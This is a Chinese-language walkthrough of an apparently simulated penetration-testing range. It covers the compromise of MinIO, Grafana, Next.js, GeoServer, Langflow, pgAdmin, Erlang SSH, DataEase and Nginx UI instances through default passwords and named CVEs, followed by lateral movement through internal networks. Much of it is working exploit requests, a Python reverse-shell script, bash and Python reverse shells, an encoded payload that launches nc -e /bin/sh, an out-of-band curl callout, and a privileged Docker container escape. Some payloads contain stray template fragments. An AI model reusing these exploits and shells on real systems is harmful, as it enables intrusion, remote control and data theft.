供应链仿真渗透场景

# 1 minio-public

外网地址扫描

8.160.160.204:22 open
8.160.160.204:80 open
8.160.160.204:3001 open
8.160.160.204:3000 open
8.160.160.204:8080 open
8.160.160.204:8888 open
8.160.160.204:9001 open
8.160.160.204:9002 open
8.160.160.204:9000 open
8.160.160.204:23306 open
8.160.160.204:26379 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle http://8.160.160.204      code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://8.160.160.204:8080 code:200 len:49     title:None
[*] WebTitle http://8.160.160.204:3000 code:302 len:29     title:None 跳转url: http://8.160.160.204:3000/login
[*] WebTitle http://8.160.160.204:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://8.160.160.204:8888 code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://8.160.160.204:9000 code:307 len:61     title:None 跳转url: http://8.160.160.204:9001
[*] WebTitle http://8.160.160.204:9002 code:200 len:1407   title:Nginx UI
[*] WebTitle http://8.160.160.204:3001 code:307 len:6      title:None 跳转url: http://8.160.160.204:3001/login
[*] WebTitle http://8.160.160.204:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://8.160.160.204:3001/login code:200 len:5727   title:Admin Dashboard
[*] WebTitle http://8.160.160.204:9001 code:200 len:1309   title:MinIO Console

9001端口存在MinIO服务，使用默认口令minioadmin/minioadmin登录

进入系统看到public桶存在flag.txt

通过9000端口拿flag

# 2 sourcemap-leak

访问80端口

查看源码，存在js链接

访问js，提示了map的链接

访问map

// 模拟泄露源码：隐藏路由 /register；静态 flag 路径 /static/.lab_flag
// 后端 API：/dev-api/ ；T5 flag：GET http://<host>:8080/dev-api/internal/lab-flag
// fetch('/common/uploadOssData', { method:'POST', headers:{ Authorization:'Bearer '+document.cookie }})

访问/static/.lab_flag拿到flag

# 3 backend-api

backend在8080端口

根据上一题提示拿到flag

# 4 minio-bucket

从MinIO console看到还存在一个webserver-taozi.tec桶

直接访问显示Access denied

根据上一题提示，访问后端接口:8080/common/uploadOssData

换POST，返回了ak/sk

利用该凭据访问:9000/werbserver-taozi.tec/flag.txt

from minio import Minio
c = Minio(
    "8.160.160.204:9000",
    access_key="minioadmin",
    secret_key="minioadmin",
    secure=False,
)
r = c.get_object("webserver-taozi.tec", "flag.txt")
try:
    print(r.read().decode().strip())
finally:
    r.close()
    r.release_conn()

或者使用mc命令（minio cli）

mc alias set taozi http://8.160.117.62:9000 minioadmin minioadmin --api S3v4
mc cat taozi/webserver-taozi.tec/flag.txt

# 5 grafana-rce

grafana服务开放在3000端口，登录页有版本信息11.0.0，使用默认密码admin/admin登录

利用CVE-2024-9264，向\/api/ds/query?s_type=__expr__&expression=true&requestId=Q101发起SQL查询

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 HTTP/1.1
Host: 8.160.117.62:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: grafana_session=006d8d55b19ec87c15890696a6cd47ac; grafana_session_expiry=1786007196
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 302
Content-Type: application/json

{
  "queries": [
    {
      "refId": "A",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "expression": "SELECT content FROM read_blob('/etc/passwd')"
    }
  ],
  "from": "1",
  "to": "2"
}

读flag

# 6 nextjs-bypass flag in website path /flag

Next.js服务在3001端口

根据提示访问/flag目录

添加Next.js middleware绕过请求头

GET /flag HTTP/1.1
Host: 8.160.117.62:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: grafana_session=f34661af39184e4b49d8d282a7d57c05; grafana_session_expiry=1786007914
Upgrade-Insecure-Requests: 1
If-None-Match: "12apu5la24h4f3"
Priority: u=0, i
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

# 7/8 geoserver-rce

geoserver服务开启在8888端口，访问可看到版本号2.23.2

该版本存在CVE-2024-36401 RCE
POST /geoserver/wfs路径，尝试dnslog

POST /geoserver/wfs HTTP/1.1
Host: 8.160.117.62:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=node0rofdsok22li01nmu31f8lhbd38.node0; grafana_session=f34661af39184e4b49d8d282a7d57c05; grafana_session_expiry=1786007914
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 375

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl http://ii5xbeu1.requestrepo.com')</wfs:valueReference>
</wfs:GetPropertyValue>

dnslog有回显，说明命令可正常执行
编写一个反弹shell请求脚本

#!/usr/bin/env python3
import base64
import sys
import requests

TARGET = "http://8.160.117.62:8888/geoserver/wfs"

if len(sys.argv) != 3:
    raise SystemExit(f"usage: {sys.argv[0]} LHOST LPORT")

lhost, lport = sys.argv[1:]
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
b64 = base64.b64encode(cmd.encode()).decode()
shell = f"sh -c echo$<!--swig0-->{b64}|base64$<!--swig1-->-d|sh"

params = {
    "request": "GetPropertyValue",
    "service": "WFS",
    "version": "2.0.0",
    "typeNames": "ne:boundary_lines",
    "valueReference": f'exec(java.lang.Runtime.getRuntime(),"{shell}")',
}
r = requests.get(TARGET, params=params, timeout=30)
print(f"HTTP {r.status_code}: reverse shell dispatched" if "ClassCastException" in r.text else r.text[:1000])

成功回连，查看flag

# 内网 172.20.9.0/24

上一题的RCE可将主机上线后扫内网

扫描结果

(icmp) Target 172.20.9.1      is alive
(icmp) Target 172.20.9.8      is alive
(icmp) Target 172.20.9.10     is alive
(icmp) Target 172.20.9.20     is alive
(icmp) Target 172.20.9.30     is alive
(icmp) Target 172.20.9.40     is alive
(icmp) Target 172.20.9.50     is alive
(icmp) Target 172.20.9.60     is alive
(icmp) Target 172.20.9.70     is alive
(icmp) Target 172.20.9.80     is alive
(icmp) Target 172.20.9.100    is alive
(icmp) Target 172.20.9.101    is alive
(icmp) Target 172.20.9.110    is alive
(icmp) Target 172.20.9.120    is alive
(icmp) Target 172.20.9.130    is alive
(icmp) Target 172.20.9.131    is alive
(icmp) Target 172.20.9.140    is alive
(icmp) Target 172.20.9.200    is alive
[*] Icmp alive hosts len is: 18
172.20.9.1:22 open
172.20.9.8:80 open
172.20.9.1:80 open
172.20.9.120:80 open
172.20.9.110:2222 open
172.20.9.60:3000 open
172.20.9.50:3000 open
172.20.9.1:3000 open
172.20.9.1:3001 open
172.20.9.30:3306 open
172.20.9.131:3306 open
172.20.9.110:4369 open
172.20.9.200:5000 open
172.20.9.130:5005 open
172.20.9.80:5005 open
172.20.9.100:5050 open
172.20.9.1:5355 open
172.20.9.101:5432 open
172.20.9.20:6379 open
172.20.9.140:7860 open
172.20.9.10:8080 open
172.20.9.80:8080 open
172.20.9.1:8080 open
172.20.9.130:8100 open
172.20.9.1:8888 open
172.20.9.1:9002 open
172.20.9.70:9000 open
172.20.9.40:9000 open
172.20.9.1:9000 open
172.20.9.40:9001 open
172.20.9.1:9001 open
172.20.9.1:23306 open
172.20.9.1:26379 open
172.20.9.131:33060 open
172.20.9.30:33060 open
172.20.9.110:45051 open
[*] alive ports len is: 36
start vulscan
[*] WebTitle http://172.20.9.40:9000   code:307 len:59     title:None 跳转url: http://172.20.9.40:9001
[*] WebTitle http://172.20.9.40:9001   code:200 len:1309   title:MinIO Console
[*] WebTitle http://172.20.9.60:3000   code:307 len:6      title:None 跳转url: http://172.20.9.60:3000/login
[*] WebTitle http://172.20.9.1         code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://172.20.9.120       code:200 len:931    title:None
[*] WebTitle http://172.20.9.1:9001    code:200 len:1309   title:MinIO Console
[*] WebTitle http://172.20.9.10:8080   code:200 len:49     title:None
[*] WebTitle http://172.20.9.50:3000   code:302 len:29     title:None 跳转url: http://172.20.9.50:3000/login
[*] WebTitle http://172.20.9.1:8888    code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://172.20.9.140:7860  code:200 len:1111   title:Langflow
[*] WebTitle http://172.20.9.60:3000/login code:200 len:5727   title:Admin Dashboard
[*] WebTitle http://172.20.9.40:9001   code:200 len:1309   title:MinIO Console
[*] WebTitle http://172.20.9.1:9000    code:307 len:58     title:None 跳转url: http://172.20.9.1:9001
[*] WebTitle http://172.20.9.100:5050  code:302 len:213    title:Redirecting... 跳转url: http://172.20.9.100:5050/login?next=/
[*] WebTitle http://172.20.9.80:8080   code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://172.20.9.1:9002    code:200 len:1407   title:Nginx UI
[*] WebTitle http://172.20.9.8         code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://172.20.9.70:9000   code:200 len:1407   title:Nginx UI
[*] WebTitle http://172.20.9.1:8080    code:200 len:49     title:None
[+] mysql 172.20.9.131:3306:root root
[*] WebTitle http://172.20.9.200:5000  code:200 len:2263   title:DevOps Deployer — Internal
[*] WebTitle http://172.20.9.1:3001    code:307 len:6      title:None 跳转url: http://172.20.9.1:3001/login
[*] WebTitle http://172.20.9.1:3000    code:302 len:29     title:None 跳转url: http://172.20.9.1:3000/login
[*] WebTitle http://172.20.9.100:5050/login?next=/ code:200 len:6182   title:pgAdmin 4
[*] WebTitle http://172.20.9.1:9001    code:200 len:1309   title:MinIO Console
[*] WebTitle http://172.20.9.1:3001/login code:200 len:5727   title:Admin Dashboard
[*] WebTitle http://172.20.9.1:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://172.20.9.50:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://172.20.9.130:8100  code:404 len:431    title:HTTP Status 404 – Not Found
[+] mysql 172.20.9.30:3306:root root
[+] Redis 172.20.9.20:6379 unauthorized file:/data/dump.rdb
[+] PocScan http://172.20.9.120 poc-yaml-thinkphp5023-method-rce poc1
[+] Postgres:172.20.9.101:5432:admin admin123

# 9 langflow-rce

langflow服务在172.20.9.140:7860

vulhub/langflow/CVE-2025-3248/README.zh-cn.md at master · vulhub/vulhub

测试/api/v1/validate/code

发送payload

POST /api/v1/validate/code HTTP/1.1
Host: 172.20.9.140:7860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 107

{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"}

# 10 pgadmin-rce

pgAdmin在172.20.9.100:5050，依旧是vulhub@example.com/vulhub登录

左侧点开servers，提示需要输入密码，前面扫描结果已扫出弱口令
[+] Postgres:172.20.9.101:5432:admin admin123

登录后可以看到数据库列表

该版本pgadmin存在cve-2025-2945
vulhub/pgadmin/CVE-2025-2945/README.zh-cn.md at master · vulhub/vulhub

直接用脚本，改成python的反弹shell

./cve-2025-2945.py --target-url http://172.20.9.100:5050 \
    --username vulhub@example.com --password vulhub \
    --db-user admin --db-pass admin123 --db-name template1 \
    --payload "exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.20.9.80\",43210));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/sh\")')"

在geoserver机器上开启nc监听，成功回连

# 11 thinkphp-rce

172.20.9.120有thinkphp的服务，fscan已经扫出
[+] PocScan http://172.20.9.120 poc-yaml-thinkphp5023-method-rce poc1

用工具直接扫

# 12 nginxui-rce

nginxui在外网9002端口

存在cve-2026-27944
vulhub/nginx-ui/CVE-2026-27944/README.zh-cn.md at master · vulhub/vulhub

使用写好的脚本，新增一个hacker用户

python cve-2026-27944.py -u http://8.160.170.106:9002 --create-user hacker

打开F12工具，在控制台输入下面的cookie赋值，然后刷新页面就可以进入到后台

使用Terminal功能拿flag

# 13 docker-escape-flag

172.20.9.200开放了5000端口，与docker有关，页面上直接提示了token

/api/restart路由的service参数存在RCE，service参数需要urlencode
同样写反弹shell连到geoserver主机

POST /api/restart?token=psxa0shpavj6qtzb HTTP/1.1
Host: 172.20.9.200:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

service=<!--swig2-->

成功触发回连

# 14 erlang-flag

172.20.9.110:2222存在Erlang/OTP SSH 未授权远程代码执行漏洞CVE-2025-32433
vulhub/erlang/CVE-2025-32433/README.zh-cn.md at master · vulhub/vulhub

使用写好的脚本，触发反弹shell

python cve-2025-32433.py -t 172.20.9.110 -p 2222 -c "bash -c 'bash -i >& /dev/tcp/172.20.9.90/43210 0>&1'"

成功回连

# 15 dataease-flag

dataease服务是8100端口，地址http://172.20.9.130:8100

测试cve-2024-56511
vulhub/dataease/CVE-2024-56511/README.zh-cn.md at master · vulhub/vulhub

curl -sS -D - --path-as-is 'http://172.20.9.130:8100/geo/../dataease/de2api/datasource/types'

验证漏洞存在，然后配合cve-2025-32966打rce
vulhub/dataease/CVE-2025-32966/README.zh-cn.md at master · vulhub/vulhub

先准备payload

POST /geo/../dataease/de2api/datasource/validate HTTP/1.1
Host: 172.20.9.130:8100
Content-Type: application/json
Content-Length: 424

{"name":"p1","type":"h2","configuration":"eyJ1cmxUeXBlIjogImpkYmNVcmwiLCAiamRiY1VybCI6ICJqZGJjOmgyOm1lbTpwd247TU9ERT1NU1NRTFNlcnZlcjtJTklUPUNSRUFURSBBTElBUyBFWEVDIEFTICQkdm9pZCBleGVjKCkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24geyBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXtcIm5jXCIsXCIxNzIuMjAuOS44MFwiLFwiNDMyMTBcIixcIi1lXCIsXCIvYmluL3NoXCJ9KVxcOyB9JCRcXDtDQUxMIEVYRUMoKSIsICJ1c2VybmFtZSI6ICIiLCAicGFzc3dvcmQiOiAiIiwgImRyaXZlciI6ICJvcmcuaDIuRHJpdmVyIn0="}

成功触发回连

# 内网

13题的devops主机有docker命令

这里用容器内部的alpine镜像进行逃逸，用rm模式，避免对生产环境产生干扰，这里我们调用nsenter命令进行逃逸，相关参数含义如下：

• -t 1 进入PID=1（宿主机init进程）
• -m -u -i -n -p 进入宿主机的所有关键命名空间

docker run --rm --privileged --pid=host --network=host -v /:/host alpine \
  nsenter -t 1 -m -u -i -n -p -- \
  bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

该主机有多个内网网段

• 192.168.88.0/24
• 192.168.10.0/24
• 192.168.11.0/24
  

# 192.168.88.0/24

192.168.88.211:22 open
192.168.88.211:3000 open
192.168.88.211:3001 open
192.168.88.211:5355 open
192.168.88.211:80 open
192.168.88.211:8080 open
192.168.88.211:8888 open
192.168.88.211:9001 open
192.168.88.211:9000 open
192.168.88.211:9002 open
192.168.88.211:23306 open
192.168.88.211:26379 open
[*] alive ports len is: 12
start vulscan
[*] WebTitle http://192.168.88.211:3000 code:302 len:29     title:None 跳转url: http://192.168.88.211:3000/login
[*] WebTitle http://192.168.88.211:9000 code:307 len:62     title:None 跳转url: http://192.168.88.211:9001
[*] WebTitle http://192.168.88.211     code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://192.168.88.211:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://192.168.88.211:8080 code:200 len:49     title:None
[*] WebTitle http://192.168.88.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.88.211:8888 code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://192.168.88.211:9002 code:200 len:1407   title:Nginx UI
[*] WebTitle http://192.168.88.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.88.211:3001 code:307 len:6      title:None 跳转url: http://192.168.88.211:3001/login
[*] WebTitle http://192.168.88.211:3001/login code:200 len:5727   title:Admin Dashboard

# 192.168.10.0/24

(icmp) Target 192.168.10.12   is alive
(icmp) Target 192.168.10.34   is alive
(icmp) Target 192.168.10.56   is alive
(icmp) Target 192.168.10.100  is alive
(icmp) Target 192.168.10.211  is alive
(icmp) Target 192.168.10.253  is alive
[*] Icmp alive hosts len is: 6
192.168.10.56:22 open
192.168.10.34:22 open
192.168.10.12:22 open
192.168.10.100:22 open
192.168.10.211:22 open
192.168.10.100:80 open
192.168.10.211:80 open
192.168.10.100:179 open
192.168.10.56:179 open
192.168.10.34:179 open
192.168.10.12:179 open
192.168.10.100:2379 open
192.168.10.100:2380 open
192.168.10.211:3000 open
192.168.10.211:3001 open
192.168.10.100:3306 open
192.168.10.211:5355 open
192.168.10.100:6379 open
192.168.10.100:6443 open
192.168.10.34:7472 open
192.168.10.12:7472 open
192.168.10.56:7472 open
192.168.10.100:7472 open
192.168.10.34:7946 open
192.168.10.100:7946 open
192.168.10.56:7946 open
192.168.10.12:7946 open
192.168.10.100:8080 open
192.168.10.211:8080 open
192.168.10.211:8888 open
192.168.10.211:9000 open
192.168.10.211:9001 open
192.168.10.211:9002 open
192.168.10.12:10250 open
192.168.10.34:10250 open
192.168.10.56:10250 open
192.168.10.100:10250 open
192.168.10.34:10256 open
192.168.10.12:10256 open
192.168.10.56:10256 open
192.168.10.100:10256 open
192.168.10.211:23306 open
192.168.10.211:26379 open
192.168.10.34:30300 open
192.168.10.56:30300 open
192.168.10.100:30300 open
192.168.10.12:30300 open
192.168.10.12:30306 open
192.168.10.100:30306 open
192.168.10.56:30306 open
192.168.10.34:30306 open
192.168.10.12:30500 open
192.168.10.34:30500 open
192.168.10.56:30500 open
192.168.10.100:30500 open
192.168.10.34:30502 open
192.168.10.12:30502 open
192.168.10.56:30502 open
192.168.10.100:30502 open
192.168.10.12:30567 open
192.168.10.34:30567 open
192.168.10.56:30567 open
192.168.10.100:30567 open
192.168.10.12:30808 open
192.168.10.34:30808 open
192.168.10.100:30808 open
192.168.10.56:30808 open
192.168.10.12:30810 open
192.168.10.34:30810 open
192.168.10.12:30811 open
192.168.10.56:30810 open
192.168.10.100:30810 open
192.168.10.34:30811 open
192.168.10.100:30811 open
192.168.10.56:30811 open
192.168.10.12:30812 open
192.168.10.34:30812 open
192.168.10.100:30812 open
192.168.10.56:30812 open
192.168.10.12:30880 open
192.168.10.100:30880 open
192.168.10.56:30880 open
192.168.10.34:30880 open
192.168.10.12:30888 open
192.168.10.34:30889 open
192.168.10.34:30888 open
192.168.10.100:30888 open
192.168.10.56:30888 open
192.168.10.100:30889 open
192.168.10.12:30889 open
192.168.10.56:30889 open
[*] alive ports len is: 91
start vulscan
已完成 0/86 [-] fcgi 192.168.10.211:9000 write tcp 192.168.10.211:49114->192.168.10.211:9000: write: broken pipe 
[*] WebTitle http://192.168.10.211     code:200 len:296    title:Taozi Range — Frontend Stub
[*] WebTitle http://192.168.10.100     code:200 len:12429  title:若依管理系统
[*] WebTitle http://192.168.10.34:10256 code:404 len:19     title:None
[*] WebTitle http://192.168.10.56:7472 code:404 len:19     title:None
[*] WebTitle http://192.168.10.34:7472 code:404 len:19     title:None
[*] WebTitle http://192.168.10.56:10256 code:404 len:19     title:None
[*] WebTitle http://192.168.10.100:7472 code:404 len:19     title:None
[*] WebTitle http://192.168.10.211:8080 code:200 len:49     title:None
[*] WebTitle http://192.168.10.211:3000 code:302 len:29     title:None 跳转url: http://192.168.10.211:3000/login
[*] WebTitle http://192.168.10.56:30502 code:200 len:785    title:Harbor
[*] WebTitle http://192.168.10.211:9000 code:307 len:62     title:None 跳转url: http://192.168.10.211:9001
[*] WebTitle http://192.168.10.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.10.34:30502 code:200 len:785    title:Harbor
[*] WebTitle http://192.168.10.34:30300 code:200 len:46     title:None
[*] WebTitle https://192.168.10.12:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.10.100:30889 code:200 len:10701  title:Apache2 Debian Default Page: It works
[*] WebTitle http://192.168.10.12:30502 code:200 len:785    title:Harbor
[*] WebTitle https://192.168.10.56:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.10.56:30300 code:200 len:46     title:None
[*] WebTitle http://192.168.10.100:30300 code:200 len:46     title:None
[*] WebTitle http://192.168.10.211:9002 code:200 len:1407   title:Nginx UI
[*] WebTitle http://192.168.10.211:3000/login code:200 len:38246  title:Grafana
[*] WebTitle http://192.168.10.100:30502 code:200 len:785    title:Harbor
[+] InfoScan http://192.168.10.56:30502 [Harbor] 
[*] WebTitle http://192.168.10.12:30889 code:200 len:10701  title:Apache2 Debian Default Page: It works
[*] WebTitle http://192.168.10.211:3001 code:307 len:6      title:None 跳转url: http://192.168.10.211:3001/login
[*] WebTitle http://192.168.10.56:30889 code:200 len:10701  title:Apache2 Debian Default Page: It works
[*] WebTitle http://192.168.10.12:30300 code:200 len:46     title:None
[*] WebTitle http://192.168.10.34:30889 code:200 len:10701  title:Apache2 Debian Default Page: It works
[*] WebTitle http://192.168.10.100:10256 code:404 len:19     title:None
[*] WebTitle https://192.168.10.100:6443 code:403 len:217    title:None
[*] WebTitle https://192.168.10.34:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.10.211:9001 code:200 len:1309   title:MinIO Console
[*] WebTitle http://192.168.10.211:8888 code:404 len:866    title:Error 404 - Not Found
[*] WebTitle http://192.168.10.12:7472 code:404 len:19     title:None
[*] WebTitle http://192.168.10.12:30888 code:302 len:0      title:None 跳转url: http://192.168.10.12:30888/login
[*] WebTitle http://192.168.10.100:30812 code:200 len:9577   title:Gitea
[+] InfoScan http://192.168.10.12:30502 [Harbor] 
[*] WebTitle http://192.168.10.34:30888 code:302 len:0      title:None 跳转url: http://192.168.10.34:30888/login
[*] WebTitle http://192.168.10.211:3001/login code:200 len:5727   title:Admin Dashboard
[*] WebTitle http://192.168.10.100:30888 code:302 len:0      title:None 跳转url: http://192.168.10.100:30888/login
[*] WebTitle http://192.168.10.12:30812 code:200 len:9577   title:Gitea
[+] InfoScan http://192.168.10.100:30502 [Harbor] 
[*] WebTitle http://192.168.10.34:30812 code:200 len:9577   title:Gitea
[*] WebTitle http://192.168.10.12:10256 code:404 len:19     title:None
[*] WebTitle http://192.168.10.56:30812 code:200 len:9577   title:Gitea
[*] WebTitle http://192.168.10.100:8080 code:200 len:92     title:None
[*] WebTitle https://192.168.10.100:10250 code:404 len:19     title:None
[+] InfoScan http://192.168.10.34:30502 [Harbor] 
[*] WebTitle http://192.168.10.56:30888 code:302 len:0      title:None 跳转url: http://192.168.10.56:30888/login
[*] WebTitle http://192.168.10.100:30888/login code:200 len:3455   title:登录桃子科技集团
[*] WebTitle http://192.168.10.12:30888/login code:200 len:3455   title:登录桃子科技集团
[+] InfoScan http://192.168.10.34:30812 [Gitea简易Git服务] 
[*] WebTitle http://192.168.10.34:30811 code:200 len:335    title:None
[+] InfoScan http://192.168.10.100:30812 [Gitea简易Git服务] 
[*] WebTitle http://192.168.10.34:30888/login code:200 len:3455   title:登录桃子科技集团
[*] WebTitle http://192.168.10.12:30811 code:200 len:335    title:None
[*] WebTitle http://192.168.10.100:30811 code:200 len:335    title:None
[*] WebTitle http://192.168.10.56:30811 code:200 len:335    title:None
[+] InfoScan http://192.168.10.100:30888/login [若依管理系统] 
[*] WebTitle http://192.168.10.56:30888/login code:200 len:3455   title:登录桃子科技集团
[+] InfoScan http://192.168.10.12:30888/login [若依管理系统] 
[+] InfoScan http://192.168.10.56:30812 [Gitea简易Git服务] 
[+] InfoScan http://192.168.10.56:30888/login [若依管理系统] 
[+] InfoScan http://192.168.10.12:30812 [Gitea简易Git服务] 
[+] InfoScan http://192.168.10.34:30888/login [若依管理系统] 
[*] WebTitle http://192.168.10.56:30880 code:404 len:57     title:None
[*] WebTitle http://192.168.10.100:30880 code:200 len:2137   title:Apache Flink Web Dashboard
[*] WebTitle http://192.168.10.34:30880 code:404 len:57     title:None
[*] WebTitle http://192.168.10.12:30880 code:200 len:2137   title:Apache Flink Web Dashboard
[*] WebTitle http://192.168.10.34:30808 code:200 len:10028  title:Sonatype Nexus Repository
[*] WebTitle http://192.168.10.56:30808 code:200 len:10028  title:Sonatype Nexus Repository
[*] WebTitle http://192.168.10.12:30808 code:200 len:10028  title:Sonatype Nexus Repository
[*] WebTitle http://192.168.10.100:30808 code:200 len:10028  title:Sonatype Nexus Repository
[*] WebTitle http://192.168.10.56:30567 code:404 len:306    title:None
[*] WebTitle http://192.168.10.100:30567 code:404 len:306    title:None
[*] WebTitle http://192.168.10.12:30567 code:404 len:306    title:None
[*] WebTitle http://192.168.10.34:30567 code:404 len:306    title:None
[+] PocScan http://192.168.10.12:30880 poc-yaml-apache-flink-upload-rce 
[+] PocScan http://192.168.10.100:30880 poc-yaml-apache-flink-upload-rce 
[+] PocScan http://192.168.10.34:30880 poc-yaml-apache-flink-upload-rce 
[+] PocScan http://192.168.10.56:30880 poc-yaml-apache-flink-upload-rce 
[*] WebTitle http://192.168.10.34:30500 code:200 len:176    title:None
[*] WebTitle http://192.168.10.56:30500 code:200 len:176    title:None
[*] WebTitle http://192.168.10.12:30500 code:200 len:175    title:None
[*] WebTitle http://192.168.10.100:30500 code:200 len:176    title:None
[+] InfoScan http://192.168.10.100:30500 [Jenkins] 
[+] InfoScan http://192.168.10.34:30500 [Jenkins] 
[+] InfoScan http://192.168.10.56:30500 [Jenkins] 
[+] InfoScan http://192.168.10.12:30500 [Jenkins] 
[+] PocScan http://192.168.10.56:30880 poc-yaml-flink-jobmanager-cve-2020-17519-lfi 
[+] PocScan http://192.168.10.100:30880 poc-yaml-flink-jobmanager-cve-2020-17519-lfi 
[+] PocScan http://192.168.10.34:30880 poc-yaml-flink-jobmanager-cve-2020-17519-lfi 
[+] PocScan http://192.168.10.12:30880 poc-yaml-flink-jobmanager-cve-2020-17519-lfi 
[+] PocScan http://192.168.10.56:30889 poc-yaml-php-cgi-cve-2012-1823 
[+] PocScan http://192.168.10.34:30889 poc-yaml-php-cgi-cve-2012-1823 
[+] PocScan http://192.168.10.100:30889 poc-yaml-php-cgi-cve-2012-1823 
[+] PocScan http://192.168.10.12:30889 poc-yaml-php-cgi-cve-2012-1823 
[+] PocScan http://192.168.10.12:30502/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
[+] PocScan http://192.168.10.56:30502/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
[+] PocScan http://192.168.10.34:30502/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
[+] PocScan http://192.168.10.100:30502/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
[+] PocScan http://192.168.10.100:30811 poc-yaml-elasticsearch-cve-2015-3337-lfi 
[+] PocScan http://192.168.10.56:30811 poc-yaml-elasticsearch-cve-2015-3337-lfi 
[+] PocScan http://192.168.10.12:30811 poc-yaml-elasticsearch-cve-2015-3337-lfi 
[+] PocScan http://192.168.10.34:30811 poc-yaml-elasticsearch-cve-2015-3337-lfi 
[+] PocScan http://192.168.10.100:30811 poc-yaml-elasticsearch-unauth 
[+] PocScan http://192.168.10.34:30811 poc-yaml-elasticsearch-unauth 
[+] PocScan http://192.168.10.56:30811 poc-yaml-elasticsearch-unauth 
[+] PocScan http://192.168.10.12:30811 poc-yaml-elasticsearch-unauth 
[+] PocScan http://192.168.10.100:30888 poc-yaml-springboot-env-unauth spring2
[+] PocScan http://192.168.10.34:30888 poc-yaml-springboot-env-unauth spring2
[+] PocScan http://192.168.10.56:30888 poc-yaml-springboot-env-unauth spring2
[+] PocScan http://192.168.10.34:30567 poc-yaml-spring-cloud-cve-2020-5410 
[+] PocScan http://192.168.10.12:30567 poc-yaml-spring-cloud-cve-2020-5410 
[+] PocScan http://192.168.10.56:30567 poc-yaml-spring-cloud-cve-2020-5410 
[+] PocScan http://192.168.10.100:30567 poc-yaml-spring-cloud-cve-2020-5410 
已完成 87/92 [-] ssh 192.168.10.34:22 root 123321 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 87/92 [-] ssh 192.168.10.12:22 root Aa12345. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 87/92 [-] ssh 192.168.10.100:22 admin pass@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 87/92 [-] ssh 192.168.10.211:22 admin test123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
已完成 87/92 [-] ssh 192.168.10.56:22 admin a123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 
